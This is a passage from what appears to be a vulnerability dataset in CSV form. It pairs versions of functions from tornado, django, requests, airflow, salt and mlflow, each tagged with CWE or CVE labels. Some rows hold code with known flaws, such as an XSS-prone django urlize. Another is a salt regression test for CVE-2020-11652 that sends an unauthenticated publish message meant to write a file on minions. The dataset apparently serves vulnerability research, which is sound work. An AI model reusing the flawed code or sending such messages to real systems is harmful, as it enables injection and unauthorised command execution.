                ""Upgrade"": ""websocket"",
                ""Connection"": ""Upgrade"",
                ""Sec-WebSocket-Key"": self.key,
                ""Sec-WebSocket-Version"": ""13"",
            }
        )
        if subprotocols is not None:
            request.headers[""Sec-WebSocket-Protocol""] = "","".join(subprotocols)
        if compression_options is not None:
            # Always offer to let the server set our max_wbits (and even though
            # we don't offer it, we will accept a client_no_context_takeover
            # from the server).
            # TODO: set server parameters for deflate extension
            # if requested in self.compression_options.
            request.headers[
                ""Sec-WebSocket-Extensions""
            ] = ""permessage-deflate; client_max_window_bits""

        # Websocket connection is currently unable to follow redirects
        request.follow_redirects = False

        self.tcp_client = TCPClient(resolver=resolver)
        super().__init__(
            None,
            request,
            lambda: None,
            self._on_http_response,
            104857600,
            self.tcp_client,
            65536,
            104857600,
        )",CWE-Unknown,tornadoweb/tornado,a48d63446afdb384fa0f53ac707dea9d250dc183,"def __init__(
        self,
        request: httpclient.HTTPRequest,
        on_message_callback: Optional[Callable[[Union[None, str, bytes]], None]] = None,
        compression_options: Optional[Dict[str, Any]] = None,
        ping_interval: Optional[float] = None,
        ping_timeout: Optional[float] = None,
        max_message_size: int = _default_max_message_size,
        subprotocols: Optional[List[str]] = [],
        resolver: Optional[Resolver] = None,
    ) -> None:
        self.connect_future = Future()  # type: Future[WebSocketClientConnection]
        self.read_queue = Queue(1)  # type: Queue[Union[None, str, bytes]]
        self.key = base64.b64encode(os.urandom(16))
        self._on_message_callback = on_message_callback
        self.close_code = None  # type: Optional[int]
        self.close_reason = None  # type: Optional[str]
        self.params = _WebSocketParams(
            ping_interval=ping_interval,
            ping_timeout=ping_timeout,
            max_message_size=max_message_size,
            compression_options=compression_options,
        )

        scheme, sep, rest = request.url.partition("":"")
        scheme = {""ws"": ""http"", ""wss"": ""https""}[scheme]
        request.url = scheme + sep + rest
        request.headers.update(
            {
                ""Upgrade"": ""websocket"",
                ""Connection"": ""Upgrade"",
                ""Sec-WebSocket-Key"": self.key,
                ""Sec-WebSocket-Version"": ""13"",
            }
        )
        if subprotocols is not None:
            request.headers[""Sec-WebSocket-Protocol""] = "","".join(subprotocols)
        if compression_options is not None:
            # Always offer to let the server set our max_wbits (and even though
            # we don't offer it, we will accept a client_no_context_takeover
            # from the server).
            # TODO: set server parameters for deflate extension
            # if requested in self.compression_options.
            request.headers[
                ""Sec-WebSocket-Extensions""
            ] = ""permessage-deflate; client_max_window_bits""

        # Websocket connection is currently unable to follow redirects
        request.follow_redirects = False

        self.tcp_client = TCPClient(resolver=resolver)
        super().__init__(
            None,
            request,
            lambda: None,
            self._on_http_response,
            104857600,
            self.tcp_client,
            65536,
            104857600,
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/messages/storage/cookie.py,0,"def _update_cookie(self, encoded_data, response):
        """"""
        Either sets the cookie with the encoded data if there is any data to
        store, or deletes the cookie.
        """"""
        if encoded_data:
            response.set_cookie(
                self.cookie_name, encoded_data,
                domain=settings.SESSION_COOKIE_DOMAIN,
                secure=settings.SESSION_COOKIE_SECURE or None,
                httponly=settings.SESSION_COOKIE_HTTPONLY or None,
            )
        else:
            response.delete_cookie(self.cookie_name, domain=settings.SESSION_COOKIE_DOMAIN)",CWE-Unknown,django/django,df8d8d4292684d6ffa7474f1e201aed486f02b53,"def _update_cookie(self, encoded_data, response):
        """"""
        Either sets the cookie with the encoded data if there is any data to
        store, or deletes the cookie.
        """"""
        if encoded_data:
            response.set_cookie(self.cookie_name, encoded_data,
                domain=settings.SESSION_COOKIE_DOMAIN,
                secure=settings.SESSION_COOKIE_SECURE or None,
                httponly=settings.SESSION_COOKIE_HTTPONLY or None)
        else:
            response.delete_cookie(self.cookie_name,
                domain=settings.SESSION_COOKIE_DOMAIN)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def json(self, **kwargs):
        """"""Returns the json-encoded content of a response, if any.

        :param \*\*kwargs: Optional arguments that ``json.loads`` takes.
        """"""

        if not self.encoding and self.content and len(self.content) > 3:
            # No encoding set. JSON RFC 4627 section 3 states we should expect
            # UTF-8, -16 or -32. Detect which one to use; If the detection or
            # decoding fails, fall back to `self.text` (using chardet to make
            # a best guess).
            encoding = guess_json_utf(self.content)
            if encoding is not None:
                try:
                    return complexjson.loads(
                        self.content.decode(encoding), **kwargs
                    )
                except UnicodeDecodeError:
                    # Wrong UTF codec detected; usually because it's not UTF-8
                    # but some other 8-bit codec.  This is an RFC violation,
                    # and the server didn't bother to tell us what codec *was*
                    # used.
                    pass
        return complexjson.loads(self.text, **kwargs)",,psf/requests,87704105af65b382b86f168f6a54192eab91faf2,"def json(self, **kwargs):
        """"""Returns the json-encoded content of a response, if any.

        :param \*\*kwargs: Optional arguments that ``json.loads`` takes.
        """"""

        if not self.encoding and len(self.content) > 3:
            # No encoding set. JSON RFC 4627 section 3 states we should expect
            # UTF-8, -16 or -32. Detect which one to use; If the detection or
            # decoding fails, fall back to `self.text` (using chardet to make
            # a best guess).
            encoding = guess_json_utf(self.content)
            if encoding is not None:
                try:
                    return complexjson.loads(
                        self.content.decode(encoding), **kwargs
                    )
                except UnicodeDecodeError:
                    # Wrong UTF codec detected; usually because it's not UTF-8
                    # but some other 8-bit codec.  This is an RFC violation,
                    # and the server didn't bother to tell us what codec *was*
                    # used.
                    pass
        return complexjson.loads(self.text, **kwargs)"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Converts any URLs in text into clickable links.

    Works on http://, https://, www. links and links ending in .org, .net or
    .com. Links can have trailing punctuation (periods, commas, close-parens)
    and leading punctuation (opening parens) and it'll still do the right
    thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel=""nofollow""
    attribute.

    If autoescape is True, the link text and URLs will get autoescaped.
    """"""
    trim_url = lambda x, limit=trim_url_limit: limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x
    safe_input = isinstance(text, SafeData)
    words = word_split_re.split(force_unicode(text))
    nofollow_attr = nofollow and ' rel=""nofollow""' or ''
    for i, word in enumerate(words):
        match = punctuation_re.match(word)
        if match:
            lead, middle, trail = match.groups()
            # Make URL we want to point to.
            url = None
            if middle.startswith('http://') or middle.startswith('https://'):
                url = urlquote(middle, safe='/&=:;#?+*')
            elif middle.startswith('www.') or ('@' not in middle and \
                    len(middle) > 0 and middle[0] in string.ascii_letters + string.digits and \
                    (middle.endswith('.org') or middle.endswith('.net') or middle.endswith('.com'))):
                url = urlquote('http://%s' % middle, safe='/&=:;#?+*')
            elif '@' in middle and not ':' in middle and simple_email_re.match(middle):
                url = 'mailto:%s' % middle
                nofollow_attr = ''
            # Make link.
            if url:
                trimmed = trim_url(middle)
                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                    url, trimmed = escape(url), escape(trimmed)
                middle = '<a href=""%s""%s>%s</a>' % (url, nofollow_attr, trimmed)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            else:
                if safe_input:
                    words[i] = mark_safe(word)
                elif autoescape:
                    words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return u''.join(words)",CWE-79,django/django,b7fea9409618ac23485a1048f4435f6afbc11739,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Converts any URLs in text into clickable links.

    Works on http://, https://, and www. links.  Links can have trailing
    punctuation (periods, commas, close-parens) and leading punctuation
    (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel=""nofollow""
    attribute.
    """"""
    if autoescape:
        trim_url = lambda x, limit=trim_url_limit: conditional_escape(limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x)
    else:
        trim_url = lambda x, limit=trim_url_limit: limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x
    safe_input = isinstance(text, SafeData)
    words = word_split_re.split(force_unicode(text))
    nofollow_attr = nofollow and ' rel=""nofollow""' or ''
    for i, word in enumerate(words):
        match = punctuation_re.match(word)
        if match:
            lead, middle, trail = match.groups()
            if safe_input:
                middle = mark_safe(middle)
            if middle.startswith('www.') or ('@' not in middle and not (middle.startswith('http://') or middle.startswith('https://')) and \
                    len(middle) > 0 and middle[0] in string.ascii_letters + string.digits and \
                    (middle.endswith('.org') or middle.endswith('.net') or middle.endswith('.com'))):
                middle = 'http://%s' % middle
            if middle.startswith('http://') or middle.startswith('https://'):
                url = urlquote(middle, safe='/&=:;#?+*')
                if autoescape and not safe_input:
                    url = escape(url)
                trimmed_url = trim_url(middle)
                middle = '<a href=""%s""%s>%s</a>' % (url, nofollow_attr,
                        trimmed_url)
            elif '@' in middle and not middle.startswith('www.') and \
                      not ':' in middle and simple_email_re.match(middle):
                if autoescape:
                    middle = conditional_escape(middle)
                middle = '<a href=""mailto:%s"">%s</a>' % (middle, middle)
            if lead + middle + trail != word:
                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            elif autoescape and not safe_input:
                words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return u''.join(words)"
,UNKNOWN,UNKNOWN,airflow/jobs/scheduler_job.py,1,"def _executable_task_instances_to_queued(self, max_tis: int, session: Session = None) -> List[TI]:
        """"""
        Finds TIs that are ready for execution with respect to pool limits,
        dag max_active_tasks, executor state, and priority.

        :param max_tis: Maximum number of TIs to queue in this loop.
        :type max_tis: int
        :return: list[airflow.models.TaskInstance]
        """"""
        from airflow.utils.db import DBLocks

        executable_tis: List[TI] = []

        if session.get_bind().dialect.name == ""postgresql"":
            # Optimization: to avoid littering the DB errors of ""ERROR: canceling statement due to lock
            # timeout"", try to take out a transactional advisory lock (unlocks automatically on
            # COMMIT/ROLLBACK)
            lock_acquired = session.execute(
                text(""SELECT pg_try_advisory_xact_lock(:id)"").bindparams(
                    id=DBLocks.SCHEDULER_CRITICAL_SECTION.value
                )
            ).scalar()
            if not lock_acquired:
                # Throw an error like the one that would happen with NOWAIT
                raise OperationalError(
                    ""Failed to acquire advisory lock"", params=None, orig=RuntimeError('55P03')
                )

        # Get the pool settings. We get a lock on the pool rows, treating this as a ""critical section""
        # Throws an exception if lock cannot be obtained, rather than blocking
        pools = models.Pool.slots_stats(lock_rows=True, session=session)

        # If the pools are full, there is no point doing anything!
        # If _somehow_ the pool is overfull, don't let the limit go negative - it breaks SQL
        pool_slots_free = max(0, sum(pool['open'] for pool in pools.values()))

        if pool_slots_free == 0:
            self.log.debug(""All pools are full!"")
            return executable_tis

        max_tis = min(max_tis, pool_slots_free)

        # Get all task instances associated with scheduled
        # DagRuns which are not backfilled, in the given states,
        # and the dag is not paused
        query = (
            session.query(TI)
            .join(TI.dag_run)
            .filter(DR.run_type != DagRunType.BACKFILL_JOB, DR.state == DagRunState.RUNNING)
            .join(TI.dag_model)
            .filter(not_(DM.is_paused))
            .filter(TI.state == TaskInstanceState.SCHEDULED)
            .options(selectinload('dag_model'))
            .order_by(-TI.priority_weight, DR.execution_date)
        )
        starved_pools = [pool_name for pool_name, stats in pools.items() if stats['open'] <= 0]
        if starved_pools:
            query = query.filter(not_(TI.pool.in_(starved_pools)))

        query = query.limit(max_tis)

        task_instances_to_examine: List[TI] = with_row_locks(
            query,
            of=TI,
            session=session,
            **skip_locked(session=session),
        ).all()
        # TODO[HA]: This was wrong before anyway, as it only looked at a sub-set of dags, not everything.
        # Stats.gauge('scheduler.tasks.pending', len(task_instances_to_examine))

        if len(task_instances_to_examine) == 0:
            self.log.debug(""No tasks to consider for execution."")
            return executable_tis

        # Put one task instance on each line
        task_instance_str = ""\n\t"".join(repr(x) for x in task_instances_to_examine)
        self.log.info(""%s tasks up for execution:\n\t%s"", len(task_instances_to_examine), task_instance_str)

        pool_to_task_instances: DefaultDict[str, List[models.Pool]] = defaultdict(list)
        for task_instance in task_instances_to_examine:
            pool_to_task_instances[task_instance.pool].append(task_instance)

        # dag_id to # of running tasks and (dag_id, task_id) to # of running tasks.
        dag_max_active_tasks_map: DefaultDict[str, int]
        task_concurrency_map: DefaultDict[Tuple[str, str], int]
        dag_max_active_tasks_map, task_concurrency_map = self.__get_concurrency_maps(
            states=list(EXECUTION_STATES), session=session
        )

        num_tasks_in_executor = 0
        # Number of tasks that cannot be scheduled because of no open slot in pool
        num_starving_tasks_total = 0

        # Go through each pool, and queue up a task for execution if there are
        # any open slots in the pool.

        for pool, task_instances in pool_to_task_instances.items():
            pool_name = pool
            if pool not in pools:
                self.log.warning(""Tasks using non-existent pool '%s' will not be scheduled"", pool)
                continue

            pool_total = pools[pool][""total""]
            for task_instance in task_instances:
                if task_instance.pool_slots > pool_total:
                    self.log.warning(
                        ""Not executing %s. Requested pool slots (%s) are greater than ""
                        ""total pool slots: '%s' for pool: %s."",
                        task_instance,
                        task_instance.pool_slots,
                        pool_total,
                        pool,
                    )
                    task_instances.remove(task_instance)

            open_slots = pools[pool][""open""]

            num_ready = len(task_instances)
            self.log.info(
                ""Figuring out tasks to run in Pool(name=%s) with %s open slots ""
                ""and %s task instances ready to be queued"",
                pool,
                open_slots,
                num_ready,
            )

            priority_sorted_task_instances = sorted(
                task_instances, key=lambda ti: (-ti.priority_weight, ti.execution_date)
            )

            num_starving_tasks = 0
            for current_index, task_instance in enumerate(priority_sorted_task_instances):
                if open_slots <= 0:
                    self.log.info(""Not scheduling since there are %s open slots in pool %s"", open_slots, pool)
                    # Can't schedule any more since there are no more open slots.
                    num_unhandled = len(priority_sorted_task_instances) - current_index
                    num_starving_tasks += num_unhandled
                    num_starving_tasks_total += num_unhandled
                    break

                # Check to make sure that the task max_active_tasks of the DAG hasn't been
                # reached.
                dag_id = task_instance.dag_id

                current_max_active_tasks_per_dag = dag_max_active_tasks_map[dag_id]
                max_active_tasks_per_dag_limit = task_instance.dag_model.max_active_tasks
                self.log.info(
                    ""DAG %s has %s/%s running and queued tasks"",
                    dag_id,
                    current_max_active_tasks_per_dag,
                    max_active_tasks_per_dag_limit,
                )
                if current_max_active_tasks_per_dag >= max_active_tasks_per_dag_limit:
                    self.log.info(
                        ""Not executing %s since the number of tasks running or queued ""
                        ""from DAG %s is >= to the DAG's max_active_tasks limit of %s"",
                        task_instance,
                        dag_id,
                        max_active_tasks_per_dag_limit,
                    )
                    continue

                task_concurrency_limit: Optional[int] = None
                if task_instance.dag_model.has_task_concurrency_limits:
                    # Many dags don't have a task_concurrency, so where we can avoid loading the full
                    # serialized DAG the better.
                    serialized_dag = self.dagbag.get_dag(dag_id, session=session)
                    # If the dag is missing, fail the task and continue to the next task.
                    if not serialized_dag:
                        self.log.error(
                            ""DAG '%s' for task instance %s not found in serialized_dag table"",
                            dag_id,
                            task_instance,
                        )
                        session.query(TI).filter(TI.dag_id == dag_id, TI.state == State.SCHEDULED).update(
                            {TI.state: State.FAILED}, synchronize_session='fetch'
                        )
                        continue
                    if serialized_dag.has_task(task_instance.task_id):
                        task_concurrency_limit = serialized_dag.get_task(
                            task_instance.task_id
                        ).max_active_tis_per_dag

                    if task_concurrency_limit is not None:
                        current_task_concurrency = task_concurrency_map[
                            (task_instance.dag_id, task_instance.task_id)
                        ]

                        if current_task_concurrency >= task_concurrency_limit:
                            self.log.info(
                                ""Not executing %s since the task concurrency for""
                                "" this task has been reached."",
                                task_instance,
                            )
                            continue

                if task_instance.pool_slots > open_slots:
                    self.log.info(
                        ""Not executing %s since it requires %s slots ""
                        ""but there are %s open slots in the pool %s."",
                        task_instance,
                        task_instance.pool_slots,
                        open_slots,
                        pool,
                    )
                    num_starving_tasks += 1
                    num_starving_tasks_total += 1
                    # Though we can execute tasks with lower priority if there's enough room
                    continue

                executable_tis.append(task_instance)
                open_slots -= task_instance.pool_slots
                dag_max_active_tasks_map[dag_id] += 1
                task_concurrency_map[(task_instance.dag_id, task_instance.task_id)] += 1

            Stats.gauge(f'pool.starving_tasks.{pool_name}', num_starving_tasks)

        Stats.gauge('scheduler.tasks.starving', num_starving_tasks_total)
        Stats.gauge('scheduler.tasks.running', num_tasks_in_executor)
        Stats.gauge('scheduler.tasks.executable', len(executable_tis))

        task_instance_str = ""\n\t"".join(repr(x) for x in executable_tis)
        self.log.info(""Setting the following tasks to queued state:\n\t%s"", task_instance_str)
        if len(executable_tis) > 0:
            # set TIs to queued state
            filter_for_tis = TI.filter_for_tis(executable_tis)
            session.query(TI).filter(filter_for_tis).update(
                # TODO[ha]: should we use func.now()? How does that work with DB timezone
                # on mysql when it's not UTC?
                {
                    TI.state: TaskInstanceState.QUEUED,
                    TI.queued_dttm: timezone.utcnow(),
                    TI.queued_by_job_id: self.id,
                },
                synchronize_session=False,
            )

        for ti in executable_tis:
            make_transient(ti)
        return executable_tis",CWE-89,apache/airflow,98715760f72e5205c291293088b5e79636884491,"def _executable_task_instances_to_queued(self, max_tis: int, session: Session = None) -> List[TI]:
        """"""
        Finds TIs that are ready for execution with respect to pool limits,
        dag max_active_tasks, executor state, and priority.

        :param max_tis: Maximum number of TIs to queue in this loop.
        :type max_tis: int
        :return: list[airflow.models.TaskInstance]
        """"""
        from airflow.utils.db import DBLocks

        executable_tis: List[TI] = []

        if session.get_bind().dialect.name == ""postgresql"":
            # Optimization: to avoid littering the DB errors of ""ERROR: canceling statement due to lock
            # timeout"", try to take out a transactional advisory lock (unlocks automatically on
            # COMMIT/ROLLBACK)
            lock_acquired = session.execute(
                text(""SELECT pg_try_advisory_xact_lock(:id)"").bindparams(
                    id=DBLocks.SCHEDULER_CRITICAL_SECTION.value
                )
            ).scalar()
            if not lock_acquired:
                # Throw an error like the one that would happen with NOWAIT
                raise OperationalError(
                    ""Failed to acquire advisory lock"", params=None, orig=RuntimeError('55P03')
                )

        # Get the pool settings. We get a lock on the pool rows, treating this as a ""critical section""
        # Throws an exception if lock cannot be obtained, rather than blocking
        pools = models.Pool.slots_stats(lock_rows=True, session=session)

        # If the pools are full, there is no point doing anything!
        # If _somehow_ the pool is overfull, don't let the limit go negative - it breaks SQL
        pool_slots_free = max(0, sum(pool['open'] for pool in pools.values()))

        if pool_slots_free == 0:
            self.log.debug(""All pools are full!"")
            return executable_tis

        max_tis = min(max_tis, pool_slots_free)

        # Get all task instances associated with scheduled
        # DagRuns which are not backfilled, in the given states,
        # and the dag is not paused
        query = (
            session.query(TI)
            .join(TI.dag_run)
            .filter(DR.run_type != DagRunType.BACKFILL_JOB, DR.state == DagRunState.RUNNING)
            .join(TI.dag_model)
            .filter(not_(DM.is_paused))
            .filter(TI.state == TaskInstanceState.SCHEDULED)
            .options(selectinload('dag_model'))
            .order_by(-TI.priority_weight, DR.execution_date)
        )
        starved_pools = [pool_name for pool_name, stats in pools.items() if stats['open'] <= 0]
        if starved_pools:
            query = query.filter(not_(TI.pool.in_(starved_pools)))

        query = query.limit(max_tis)

        task_instances_to_examine: List[TI] = with_row_locks(
            query,
            of=TI,
            session=session,
            **skip_locked(session=session),
        ).all()
        # TODO[HA]: This was wrong before anyway, as it only looked at a sub-set of dags, not everything.
        # Stats.gauge('scheduler.tasks.pending', len(task_instances_to_examine))

        if len(task_instances_to_examine) == 0:
            self.log.debug(""No tasks to consider for execution."")
            return executable_tis

        # Put one task instance on each line
        task_instance_str = ""\n\t"".join(repr(x) for x in task_instances_to_examine)
        self.log.info(""%s tasks up for execution:\n\t%s"", len(task_instances_to_examine), task_instance_str)

        pool_to_task_instances: DefaultDict[str, List[models.Pool]] = defaultdict(list)
        for task_instance in task_instances_to_examine:
            pool_to_task_instances[task_instance.pool].append(task_instance)

        # dag_id to # of running tasks and (dag_id, task_id) to # of running tasks.
        dag_max_active_tasks_map: DefaultDict[str, int]
        task_concurrency_map: DefaultDict[Tuple[str, str], int]
        dag_max_active_tasks_map, task_concurrency_map = self.__get_concurrency_maps(
            states=list(EXECUTION_STATES), session=session
        )

        num_tasks_in_executor = 0
        # Number of tasks that cannot be scheduled because of no open slot in pool
        num_starving_tasks_total = 0

        # Go through each pool, and queue up a task for execution if there are
        # any open slots in the pool.

        for pool, task_instances in pool_to_task_instances.items():
            pool_name = pool
            if pool not in pools:
                self.log.warning(""Tasks using non-existent pool '%s' will not be scheduled"", pool)
                continue

            pool_total = pools[pool][""total""]
            for task_instance in task_instances:
                if task_instance.pool_slots > pool_total:
                    self.log.warning(
                        ""Not executing %s. Requested pool slots (%s) are greater than ""
                        ""total pool slots: '%s' for pool: %s."",
                        task_instance,
                        task_instance.pool_slots,
                        pool_total,
                        pool,
                    )
                    task_instances.remove(task_instance)

            open_slots = pools[pool][""open""]

            num_ready = len(task_instances)
            self.log.info(
                ""Figuring out tasks to run in Pool(name=%s) with %s open slots ""
                ""and %s task instances ready to be queued"",
                pool,
                open_slots,
                num_ready,
            )

            priority_sorted_task_instances = sorted(
                task_instances, key=lambda ti: (-ti.priority_weight, ti.execution_date)
            )

            num_starving_tasks = 0
            for current_index, task_instance in enumerate(priority_sorted_task_instances):
                if open_slots <= 0:
                    self.log.info(""Not scheduling since there are %s open slots in pool %s"", open_slots, pool)
                    # Can't schedule any more since there are no more open slots.
                    num_unhandled = len(priority_sorted_task_instances) - current_index
                    num_starving_tasks += num_unhandled
                    num_starving_tasks_total += num_unhandled
                    break

                # Check to make sure that the task max_active_tasks of the DAG hasn't been
                # reached.
                dag_id = task_instance.dag_id

                current_max_active_tasks_per_dag = dag_max_active_tasks_map[dag_id]
                max_active_tasks_per_dag_limit = task_instance.dag_model.max_active_tasks
                self.log.info(
                    ""DAG %s has %s/%s running and queued tasks"",
                    dag_id,
                    current_max_active_tasks_per_dag,
                    max_active_tasks_per_dag_limit,
                )
                if current_max_active_tasks_per_dag >= max_active_tasks_per_dag_limit:
                    self.log.info(
                        ""Not executing %s since the number of tasks running or queued ""
                        ""from DAG %s is >= to the DAG's max_active_tasks limit of %s"",
                        task_instance,
                        dag_id,
                        max_active_tasks_per_dag_limit,
                    )
                    continue

                task_concurrency_limit: Optional[int] = None
                if task_instance.dag_model.has_task_concurrency_limits:
                    # Many dags don't have a task_concurrency, so where we can avoid loading the full
                    # serialized DAG the better.
                    serialized_dag = self.dagbag.get_dag(dag_id, session=session)
                    if serialized_dag.has_task(task_instance.task_id):
                        task_concurrency_limit = serialized_dag.get_task(
                            task_instance.task_id
                        ).max_active_tis_per_dag

                    if task_concurrency_limit is not None:
                        current_task_concurrency = task_concurrency_map[
                            (task_instance.dag_id, task_instance.task_id)
                        ]

                        if current_task_concurrency >= task_concurrency_limit:
                            self.log.info(
                                ""Not executing %s since the task concurrency for""
                                "" this task has been reached."",
                                task_instance,
                            )
                            continue

                if task_instance.pool_slots > open_slots:
                    self.log.info(
                        ""Not executing %s since it requires %s slots ""
                        ""but there are %s open slots in the pool %s."",
                        task_instance,
                        task_instance.pool_slots,
                        open_slots,
                        pool,
                    )
                    num_starving_tasks += 1
                    num_starving_tasks_total += 1
                    # Though we can execute tasks with lower priority if there's enough room
                    continue

                executable_tis.append(task_instance)
                open_slots -= task_instance.pool_slots
                dag_max_active_tasks_map[dag_id] += 1
                task_concurrency_map[(task_instance.dag_id, task_instance.task_id)] += 1

            Stats.gauge(f'pool.starving_tasks.{pool_name}', num_starving_tasks)

        Stats.gauge('scheduler.tasks.starving', num_starving_tasks_total)
        Stats.gauge('scheduler.tasks.running', num_tasks_in_executor)
        Stats.gauge('scheduler.tasks.executable', len(executable_tis))

        task_instance_str = ""\n\t"".join(repr(x) for x in executable_tis)
        self.log.info(""Setting the following tasks to queued state:\n\t%s"", task_instance_str)
        if len(executable_tis) > 0:
            # set TIs to queued state
            filter_for_tis = TI.filter_for_tis(executable_tis)
            session.query(TI).filter(filter_for_tis).update(
                # TODO[ha]: should we use func.now()? How does that work with DB timezone
                # on mysql when it's not UTC?
                {
                    TI.state: TaskInstanceState.QUEUED,
                    TI.queued_dttm: timezone.utcnow(),
                    TI.queued_by_job_id: self.id,
                },
                synchronize_session=False,
            )

        for ti in executable_tis:
            make_transient(ti)
        return executable_tis"
,CVE-2020-11652,UNKNOWN,tests/integration/master/test_clear_funcs.py,1,"def test_pub_not_allowed(self):
        assert hasattr(salt.master.ClearFuncs, ""_send_pub"")
        assert not os.path.exists(self.tmpfile)
        minion_config = {
            ""transport"": ""zeromq"",
            ""pki_dir"": ""/tmp"",
            ""id"": ""root"",
            ""master_ip"": self.master,
            ""master_port"": self.ret_port,
            ""auth_timeout"": 5,
            ""auth_tries"": 1,
            ""master_uri"": ""tcp://{0}:{1}"".format(self.master, self.ret_port),
        }
        clear_channel = salt.transport.client.ReqChannel.factory(
            minion_config, crypt=""clear""
        )
        jid = ""202003100000000001""
        msg = {
            ""cmd"": ""_send_pub"",
            ""fun"": ""file.write"",
            ""jid"": jid,
            ""arg"": [self.tmpfile, ""evil contents""],
            ""kwargs"": {""show_jid"": False, ""show_timeout"": False},
            ""ret"": """",
            ""tgt"": ""minion"",
            ""tgt_type"": ""glob"",
            ""user"": ""root"",
        }
        eventbus = salt.utils.event.get_event(
            ""master"",
            sock_dir=self.master_opts[""sock_dir""],
            transport=self.master_opts[""transport""],
            opts=self.master_opts,
        )
        ret = clear_channel.send(msg, timeout=15)
        if salt.utils.platform.is_windows():
            time.sleep(30)
            timeout = 30
        else:
            timeout = 5
        ret_evt = None
        start = time.time()
        while time.time() - start <= timeout:
            raw = eventbus.get_event(timeout, auto_reconnect=True)
            if raw and ""jid"" in raw and raw[""jid""] == jid:
                ret_evt = raw
                break
        assert not os.path.exists(self.tmpfile), ""Evil file created""",CWE-703,saltstack/salt,d5801df94b05158dc8e48c5e6912b065044720f3,"def test_pub_not_allowed(self):
        assert hasattr(salt.master.ClearFuncs, ""_send_pub"")
        assert not os.path.exists(self.tmpfile)
        minion_config = {
            ""transport"": ""zeromq"",
            ""pki_dir"": ""/tmp"",
            ""id"": ""root"",
            ""master_ip"": self.master,
            ""master_port"": self.ret_port,
            ""auth_timeout"": 5,
            ""auth_tries"": 1,
            ""master_uri"": ""tcp://{0}:{1}"".format(self.master, self.ret_port),
        }
        clear_channel = salt.transport.client.ReqChannel.factory(
            minion_config, crypt=""clear""
        )
        jid = ""202003100000000001""
        msg = {
            ""cmd"": ""_send_pub"",
            ""fun"": ""file.write"",
            ""jid"": jid,
            ""arg"": [self.tmpfile, ""evil contents""],
            ""kwargs"": {""show_jid"": False, ""show_timeout"": False},
            ""ret"": """",
            ""tgt"": ""minion"",
            ""tgt_type"": ""glob"",
            ""user"": ""root"",
        }
        eventbus = salt.utils.event.get_event(
            ""master"",
            sock_dir=self.master_opts[""sock_dir""],
            transport=self.master_opts[""transport""],
            opts=self.master_opts,
        )
        ret = clear_channel.send(msg, timeout=15)
        if salt.utils.platform.is_windows():
            time.sleep(30)
            timeout = 30
        else:
            timeout = 5
        ret_evt = None
        start = time.time()
        while time.time() - start <= timeout:
            raw = eventbus.get_event(timeout, auto_reconnect=True)
            if raw and ""jid"" in raw and raw[""jid""] == jid:
                ret_evt = raw
                break
        assert not os.path.exists(self.tmpfile), ""Evil file created"""
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_create_experiment_appends_to_artifact_uri_path_correctly(self):
        cases = [
            (""path/to/local/folder"", ""path/to/local/folder/{e}""),
            (""/path/to/local/folder"", ""/path/to/local/folder/{e}""),
            (""#path/to/local/folder?"", ""#path/to/local/folder?/{e}""),
            (""file:path/to/local/folder"", ""file:path/to/local/folder/{e}""),
            (""file:///path/to/local/folder"", ""file:///path/to/local/folder/{e}""),
            (""file:path/to/local/folder?param=value"", ""file:path/to/local/folder/{e}?param=value""),
            (""file:///path/to/local/folder"", ""file:///path/to/local/folder/{e}""),
            (
                ""file:///path/to/local/folder?param=value#fragment"",
                ""file:///path/to/local/folder/{e}?param=value#fragment"",
            ),
            (""s3://bucket/path/to/root"", ""s3://bucket/path/to/root/{e}""),
            (
                ""s3://bucket/path/to/root?creds=mycreds"",
                ""s3://bucket/path/to/root/{e}?creds=mycreds"",
            ),
            (
                ""dbscheme+driver://root@host/dbname?creds=mycreds#myfragment"",
                ""dbscheme+driver://root@host/dbname/{e}?creds=mycreds#myfragment"",
            ),
            (
                ""dbscheme+driver://root:password@hostname.com?creds=mycreds#myfragment"",
                ""dbscheme+driver://root:password@hostname.com/{e}?creds=mycreds#myfragment"",
            ),
            (
                ""dbscheme+driver://root:password@hostname.com/mydb?creds=mycreds#myfragment"",
                ""dbscheme+driver://root:password@hostname.com/mydb/{e}?creds=mycreds#myfragment"",
            ),
        ]

        # Patch `is_local_uri` to prevent the SqlAlchemy store from attempting to create local
        # filesystem directories for file URI and POSIX path test cases
        with mock.patch(""mlflow.store.tracking.sqlalchemy_store.is_local_uri"", return_value=False):
            for artifact_root_uri, expected_artifact_uri_format in cases:
                with TempDir() as tmp:
                    dbfile_path = tmp.path(""db"")
                    store = SqlAlchemyStore(
                        db_uri=""sqlite:///"" + dbfile_path, default_artifact_root=artifact_root_uri
                    )
                    exp_id = store.create_experiment(name=""exp"")
                    exp = store.get_experiment(exp_id)
                    assert exp.artifact_location == expected_artifact_uri_format.format(e=exp_id)",CWE-703,mlflow/mlflow,c351e12123d6072ed1175d822af9eaa1aa0f667c,"def test_create_experiment_appends_to_artifact_uri_path_correctly(self):
        cases = [
            (""path/to/local/folder"", ""path/to/local/folder/{e}""),
            (""/path/to/local/folder"", ""/path/to/local/folder/{e}""),
            (""#path/to/local/folder?"", ""#path/to/local/folder?/{e}""),
